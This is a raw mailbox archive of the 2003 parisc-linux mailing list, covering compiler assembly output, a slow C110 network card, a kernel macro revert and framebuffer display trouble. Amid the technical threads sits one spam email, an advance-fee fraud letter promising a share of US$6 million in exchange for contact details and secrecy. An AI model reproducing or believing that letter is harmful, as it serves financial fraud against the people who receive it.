     printf("Value of PTU64: %0Lx\n", *PTU64);

     return err;
}
---------><---------

And the generated code by gcc 3.3.2:
[...]
main:
         .PROC
         .CALLINFO FRAME=128,CALLS,SAVE_RP,SAVE_SP,ENTRY_GR=4
         .ENTRY
         stw %r2,-20(%r30)
         copy %r3,%r1
         copy %r30,%r3
         stwm %r1,128(%r30)
         stw %r8,32(%r3)
         stw %r26,-36(%r3)
         stw %r25,-40(%r3)
         stw %r24,-44(%r3)
         ldi 8,%r26
         bl malloc,%r2
         nop
         copy %r28,%r19
         stw %r19,16(%r3)
         ldil L'-202182160,%r20
         ldil L'-134810124,%r19
         ldo R'-134810124(%r19),%r19
         ldo R'-202182160(%r20),%r20
         stw %r19,24(%r3)
         stw %r20,28(%r3)
         ldw 24(%r3),%r19
         ldw 28(%r3),%r20
         stw %r19,8(%r3)
         stw %r20,12(%r3)
         ldi 0,%r8
         ldw 16(%r3),%r21
         ldw 8(%r3),%r19
         ldw 12(%r3),%r20
#APP

1:      stw     %r19,0(%sr3,%r21)
2:      stw     %r20,4(%sr3,%r21)
3:
         .section __ex_table,"a"
         .word   1b
         .word   (3b-1b)+1
         .word   2b
         .word   (3b-2b)+1
         .previous
#NO_APP
         stw %r8,20(%r3)
         ldil LR'.LC1,%r19
         ldo RR'.LC1(%r19),%r26
         ldi 8,%r25
         bl printf,%r2
         nop
         ldil LR'.LC2,%r19
[...]

Please let me know if I miss something ;)

Cheers,
	Joel





From - Thu Nov 08 21:29:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C110 builtin nic slow?
Date: Tue, 11 Nov 2003 11:45:56 +0000
Lines: 46
Approved: news@gmane.org
Message-ID: <3FB0CBF4.6010306@tiscali.be>
References: <3F969FFE00009E0B@ocpmta2.freegates.net> <3F969FFE00009EA4@ocpmta2.freegates.net> <20031110173748.GD24664@colo.lackof.org> <Pine.LNX.4.58.0311110124220.2933@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622955 1318 80.91.229.3 (22 Nov 2014 02:22:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:35 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 11 04:45:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4A44C483E
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Nov 2003 04:45:36 -0700 (MST)
Original-Received: from [62.235.120.127] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AJWxi-0004la-Ny; Tue, 11 Nov 2003 12:45:34 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031024 Debian/1.5-2
X-Accept-Language: en
In-Reply-To: <Pine.LNX.4.58.0311110124220.2933@sal.ucc.ie>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20078

Hi Max,

M. Grabert wrote:
> On Mon, 10 Nov 2003, Grant Grundler wrote:
> 
> 
>>On Mon, Nov 10, 2003 at 01:31:45PM +0100, Joel Soete wrote:
>>
>>>ie a Lasi_82596 (as Matthew mentioned in a previous mail).
>>
>>yeah - that's not going to perform as well as tulip.
>>And 10-Half is going to be substantially slower.
>>Sounds like it has a bug in the negotiation.
> 
> 
> Very likely!
> 
> My C200 is also very picky whether to enable 100MBit or not.
> I'm using a no-name 100MBit-Switch, and it works fine for all
> 5 other PCs in my house).
> 
> I was not able to force 100MBit by changing the settings in the
> PDC, but the following DID work:
> 
> 
>>mii-tool -A 100baseTx,10baseT eth0
> 
Ah interesting:
on my pc,
  # mii-tool
SIOCGMIIPHY on 'eth0' failed: Operation not supported
eth1: 10 Mbit, half duplex, no link

and eth1 is the nic I use to connect my c110 :) (don't see what no link 
means but that is the right setup that I need with c110)

otc on the c110:
# mii-tool
SIOCGMIIPHY on 'eth0' failed: Operation not supported
no MII interfaces found
:(

Thx a lot,
	Joel



From - Thu Nov 08 21:29:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C110 builtin nic slow?
Date: Tue, 11 Nov 2003 12:54:25 +0000
Lines: 56
Approved: news@gmane.org
Message-ID: <3FB0DC01.6070701@tiscali.be>
References: <3F969FFE00009EA4@ocpmta2.freegates.net> <3F969FFE00009F73@ocpmta2.freegates.net> <20031110173525.GC24664@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622955 1327 80.91.229.3 (22 Nov 2014 02:22:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:35 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 11 05:54:05 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id DBB724879
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Nov 2003 05:54:04 -0700 (MST)
Original-Received: from [62.235.120.127] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AJY1z-0000zK-KY; Tue, 11 Nov 2003 13:54:03 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031024 Debian/1.5-2
X-Accept-Language: en
In-Reply-To: <20031110173525.GC24664@colo.lackof.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20079


Grant Grundler wrote:
> On Mon, Nov 10, 2003 at 03:00:37PM +0100, Joel Soete wrote:
> 
>>                        if (pkt_len > rx_copybreak) {
>>                                struct sk_buff *newskb;
> 
> 
> yup - the rx_copybreak support is exactly what I'm talking about.
> tulip driver has similar support.
> 
> 
>>/* Copy frames shorter than rx_copybreak, otherwise pass on up in
>> * a full sized sk_buff.  Value of 100 stolen from tulip.c (!alpha).
>> */
>>static int rx_copybreak = 100;
> 
> 
> The comment is wrong. Tulip uses 1518 for nearly everything but x86.
> ie it copies all packets since the MTU is <= 1518.
> 
Correct :)

I so try rx_copybreak = 1518

and also run from pc netperf (the script 
/usr/share/doc/netperf/examples/snapshot_script palin)

but on c110 I noticed many (with rx_copybreak = 100 and rx_copybreak = 
1518):
do_page_fault() pid=882 command='netserver' type=15 address=0x0000001c
...
:(

and i never get any miss alignement messages?

I restart this test this morning but in the contrary way ie from c110:
sh /usr/share/doc/netperf/examples/snapshot_script sid.home
then
Netperf snapshot script started at Tue Nov 11 12:52:15 CET 2003
Starting 56x4 TCP_STREAM tests at Tue Nov 11 12:52:52 CET 2003

------------------------------------
Testing with the following command line:
/usr/bin/netperf -t TCP_STREAM -l 60 -H sid.home -i 10,3 -I 99,5 -- -s 
57344 -S 57344 -m 4096


seems to send some pkt and finaly hung?

hmm I will try to run it under gdb and so hope to discover what append.

Cheers,
	Joel



From - Thu Nov 08 21:29:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "PETERSON BULINGA" <petson@zwallet.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] parisc-linux,SOLICITATION FOR YOUR ASSISTANCE
Date: Thu, 13 Nov 2003 00:27:36 GMT
Lines: 24
Approved: news@gmane.org
Message-ID: <MAILINDEPPmLYB505rP00006562@mailindep.elindependiente.com.mx>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622955 1336 80.91.229.3 (22 Nov 2014 02:22:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:35 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 11 08:30:51 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailindep.elindependiente.com.mx (unknown [200.78.195.203])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1F6C4483E
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Nov 2003 08:30:43 -0700 (MST)
Original-Received: from smtp0452.mail.yahoo.com ([61.11.9.124]) by mailindep.elindependiente.com.mx with Microsoft SMTPSVC(5.0.2195.6713);
	 Tue, 11 Nov 2003 09:30:54 -0600
X-Priority: 3
X-OriginalArrivalTime: 11 Nov 2003 15:31:03.0671 (UTC) FILETIME=[D1387870:01C3A868]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20080

FROM: Miss THEMBI TENDAI 

SUBJECT:Please Help 

EMAIL FROM: thembi79@zwallet.com 

REPLY EMAIL: thembi79@zwallet.com



Dear Sir/Madam, 

You may be surprised to receive this letter from me, Since you do not know me personally "My Name is THEMBI TENDAI" The purpose of my introduction is that Before the death of my father, he had taken me to Johannesburg to deposit the sum of US6 Million (Six Million United States dollars),in one of the private security company, as he foresaw the looming danger in Zimbabwe this money was deposited in a box as gem stones to avoid much demurrage from security company. This amount was meant for the purchase of new machines and chemicals for the Farms and establishment of new farms in Swaziland. This land problem came when Zimbabwean President Mr. Robert Mugabe introduced a new Land Act Reform wholly affecting the rich white farmers and some few black Farmers and this resulted to the killing and 
 mob action by Zimbabwean war veterans and some lunatics in the society. In fact a lot of people were killed because of this Land reform Act for which my father " Mudada Abba " was one of the victims. It is against this back
round that, I and my Mother and three   younger ones fled Zimbabwe for fear of our lives and I currently staying in the Netherlands in a village called Zwolle, where my family are seeking political asylum and more so I have decided to transfer my father's money to a more reliable foreign account. As the eldest daughter of my father, I am saddled with the responsibility of seeking a genuine foreign account where this money could be transferred without the knowledge of my government who are bent on taking everything we have got. The South African government seems to be playing along with them. I am faced with the dilemma of moving this amount of money out of South Africa for fear of going through the same experience in future, both countries have similar political history. 

As the Eldest daughter, I am seeking for a partner who I have to entrust my future and that of my family in his hands, I must let you know that this transaction is risk free. If you accept to assist me and my family, all I want you to do for me, is to make an arrangements with the security company to clear the consignment (funds) from their affiliate office here in the Netherlands as I have already given directives for the consignment to be brought to the Netherlands from South Africa.But before then all modalities will have to be put in place like change of ownership to the consignment and more importantly this money I intend to use for investment. I have two options for you. Firstly you can choose to have certain percentage of the money for nominating your account for this transaction. O
 r you can go into Partnership with me for the proper profitable investment of the money in your country. Whichever the option you want, feel free to notify me. If you do not prefer a partnership I am willing to give you 10%
of the money while the remaining 90% will be for my investment in your country. Should you which to assist me, please furnish me with your telephone and fax number me with the above via e-mail while I implore you to maintain the absolute secrecy required in this transaction. 

God Bless, 

MISS THEMBI TENDAI


From - Thu Nov 08 21:29:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] 2.4.22-pa15 DIFF
Date: Tue, 11 Nov 2003 16:26:55 +0000
Lines: 20
Approved: news@gmane.org
Message-ID: <3FB10DCF.3050505@tiscali.be>
References: <20031111010956.6EE2A49402D@palinux.hppa> <20031111011234.GA29854@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622955 1350 80.91.229.3 (22 Nov 2014 02:22:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 11 09:26:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3EE794879
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Nov 2003 09:26:57 -0700 (MST)
Original-Received: from [62.235.121.60] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AJbLz-0006Qz-Ov; Tue, 11 Nov 2003 17:26:55 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031107 Debian/1.5-3
X-Accept-Language: en
In-Reply-To: <20031111011234.GA29854@colo.lackof.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20081


Grant Grundler wrote:
> On Mon, Nov 10, 2003 at 06:09:56PM -0700, Grant Grundler wrote:
> 
>>Log message:
>>2.4.22-pa15 revert __put_kernel_asm64 to static inline function
>>
>>my bad. I overlooked this when committing the code.
>>I prefer inline functions over macros for type checking/covercion.
>>I don't like the use of "R2" for upper half of u64 data type
>>since it's easy to overlook and not commonly used in parisc port.
> 
That was just why I posted it as a _remainder_, an 'interesting' stuff 
not usual (I spent a lot of time to find how to do with hppa as it was 
done on other platform). But I agree that confused even the best :)

Thx,
	Joel



From - Thu Nov 08 21:29:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] framebuffer drawing incorrectly ?
Date: Tue, 11 Nov 2003 16:27:27 +0000
Lines: 60
Approved: news@gmane.org
Message-ID: <3FB10DEF.30908@tiscali.be>
References: <200311101646.55611.vapier@gentoo.org> <3FB01295.10005@tiscali.be> <200311102105.42375.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622956 1358 80.91.229.3 (22 Nov 2014 02:22:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: vapier@gentoo.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 11 09:27:28 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id B771A483E
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Nov 2003 09:27:28 -0700 (MST)
Original-Received: from [62.235.121.60] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AJbMV-0006Ss-Sq; Tue, 11 Nov 2003 17:27:28 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031107 Debian/1.5-3
X-Accept-Language: en
In-Reply-To: <200311102105.42375.vapier@gentoo.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20082

Mike,


Mike Frysinger wrote:
> On Monday 10 November 2003 17:35, you wrote:
> 
>>please send your xfonfig-4 and your dmesg file.
> 
> 
> http://wh0rd.de/mike/hppa-dmesg
> http://wh0rd.de/mike/hppa-XF86Config-4

All seems ok. I just notice a small difference with my "Display" definition:
[...]
Section "Screen"
         Identifier      "Default Screen"
         Device          "HPA208LC1024"
         Monitor         "Targa"
         DefaultDepth    8
         SubSection "Display"
                 Depth           1
                 Modes           "1280x1024"
         EndSubSection
EndSection
[...]

you added:
		Virtual		0 0
		ViewPort	0 0

well I don't know exactely what is realy makes and I presume that you 
already test without (commented) those lines?

> http://wh0rd.de/mike/hppa-fbcon-pic.jpg
> the pic is a little blurry but you can see that the white text is from the 
> hppa firmware/palo while the purple text is from the bootup ... also, it 
> seems that the buffer is swapped in the middle ... the lower half of the 
> purple text is actually displayed first when scrolling back through the 
> buffer ...
> -mike
hmm, i never see such behaviour before but it seems that electronic 
signals emitted by hp system are not compatible with your screen (bad 
cable, adapter?)??
[For my part I also try, here at home with a foreign screen (not hp, i 
mean) but it doesn't work very well (at each reboot I was obliged to fix 
the pdc screen definition but it was working fine with a hp screen), so 
i don't even test XFree more then the time of a login...)]
Before you install Linux, do you have the opportunity to check if it was 
working with hpux X11 hpview or cde?
Or do you have some opportunity to test with a hp screen?
(or the graphical controler is broken?)

Sorry couldn't help you more.

Good luck,
	Joel

Joel



From - Thu Nov 08 21:29:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] framebuffer drawing incorrectly ?
Date: Tue, 11 Nov 2003 11:56:47 -0500
Lines: 71
Approved: news@gmane.org
Message-ID: <200311111156.58637.vapier@gentoo.org>
References: <200311101646.55611.vapier@gentoo.org> <200311102105.42375.vapier@gentoo.org> <3FB10DEF.30908@tiscali.be>
Reply-To: vapier@gentoo.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  protocol="application/pgp-signature";
  micalg=pgp-sha1;
  boundary="Boundary-02=_aTRs/2Ah1SjN1ZT";
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622956 1370 80.91.229.3 (22 Nov 2014 02:22:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:36 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 11 09:56:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail1.WPI.EDU (mail1.WPI.EDU [130.215.36.102])
	by dsl2.external.hp.com (Postfix) with ESMTP id 459E4483E
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Nov 2003 09:56:50 -0700 (MST)
Original-Received: from mcafee.wpi.edu (mcafee.WPI.EDU [130.215.36.86])
	by mail1.WPI.EDU (8.12.10/8.12.10) with SMTP id hABGundC030247
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Nov 2003 11:56:49 -0500
Original-Received: from smtp.WPI.EDU(130.215.36.186) by mcafee.wpi.edu via csmap 
	 id 29040; Tue, 11 Nov 2003 11:54:48 -0500 (EST)
Original-Received: from vapier.res.WPI.NET (vapier.res.WPI.NET [130.215.224.143])
	by smtp.WPI.EDU (8.12.10/8.12.10) with ESMTP id hABGumDF019513
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Nov 2003 11:56:48 -0500
User-Agent: KMail/1.5.4
In-Reply-To: <3FB10DEF.30908@tiscali.be>
X-PMX-Version: 4.1.0.80455
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20083

--Boundary-02=_aTRs/2Ah1SjN1ZT
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Description: signed data
Content-Disposition: inline

On Tuesday 11 November 2003 11:27, Joel Soete wrote:
> well I don't know exactely what is realy makes and I presume that you
> already test without (commented) those lines?

well the fb is messed up w/out X ... i just mentioned X because thats the r=
eal=20
reason i'm messing around with it ;)
and yes, the viewport settings make no difference

> hmm, i never see such behaviour before but it seems that electronic
> signals emitted by hp system are not compatible with your screen (bad
> cable, adapter?)??
> [For my part I also try, here at home with a foreign screen (not hp, i
> mean) but it doesn't work very well (at each reboot I was obliged to fix
> the pdc screen definition but it was working fine with a hp screen), so
> i don't even test XFree more then the time of a login...)]
> Before you install Linux, do you have the opportunity to check if it was
> working with hpux X11 hpview or cde?
> Or do you have some opportunity to test with a hp screen?
> (or the graphical controler is broken?)

i didnt have a chance to test it ... the box was a server that was given to=
 me=20
thus no display and i didnt really feel like brute forcing the passwords to=
=20
get to the installed HPUX ...
as for the monitor, it's a 19" trintron that i've done resolutions much=20
greater than 1600x1200 with before so i know it's a pretty good monitor ...=
 i=20
dunno about the signals as you mentioned ... but i know the STI Console wor=
ks=20
just dandy :)

perhaps i'll try some random pci cards i got laying around (voodoo/ati) and=
=20
see if i have any luck with them
=2Dmike

--Boundary-02=_aTRs/2Ah1SjN1ZT
Content-Type: application/pgp-signature
Content-Description: signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.3 (GNU/Linux)

iQIVAwUAP7EU2kFjO5/oN/WBAQKuZhAAk/urku6sAFjXFUnLYeZyxcJkTxu4EQYF
9CqoQ0RAaKGwKzUDnBZ9boxorRWlVakqb/j13+4PZOH7JlFT29sVXPiEeKzWFIOw
+nwhtm7s14siy9hvRGNHR6jPd0xiM5gGRPYqi8t0bIQQNivnuGxtEYZY+npPCVUt
v21H+SGXe24BFEEEfYwzgFg2cVOv1jbIcb8JivVsCTW1DkU8j+P1owA92DAizEaa
NHOPUVDV7udY2iEs8NeOaSFnUfC0wGtbWU15JpOJjcY7gnEom4dvRaArNx7Pi/UR
qF9kWAE2DfE6R63yhq5+23blISlLeE/0MNU8CC5W3Vvp0sA/XBDjU/TxZzCzXzJ1
AQkYZNKy7tatRFJGcA6qgk+yAik/bTdQehLtBYvyIjzpRTIm0zLn2Gv/H/SgaQS7
UlWMGTqPAB0oEiO939tCutgo64hRsnVGqFmT1Ee7oqpFDhWnzh5M+tIAd3NP4n2a
24apCDevN70Fw2cIxdnRqhDIl7wHuxb1DsLg87S0h8jlQtOgw07EbPmfPKakYcFm
/ZYGrehxHjCl32AkFs3v2AgGr+OwMEcmtEgU2KO5AIVRMNSdRSfLOwnMu3dBz4ph
TXx74Hmo9LTdbf7aBk2sLavZ6bXtXmJpJjL4D0VBgk9EhnQtCb1cEvH1EKF13VMg
NW0mO9tlSpM=
=IU/2
-----END PGP SIGNATURE-----

--Boundary-02=_aTRs/2Ah1SjN1ZT--




From - Thu Nov 08 21:29:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] framebuffer drawing incorrectly ?
Date: Tue, 11 Nov 2003 12:49:42 -0500 (EST)
Lines: 18
Approved: news@gmane.org
Message-ID: <200311111749.hABHngZF008939@hiauly1.hia.nrc.ca>
References: <200311111156.58637.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622956 1378 80.91.229.3 (22 Nov 2014 02:22:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: vapier@gentoo.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 11 10:49:44 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 580C5483E
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Nov 2003 10:49:44 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
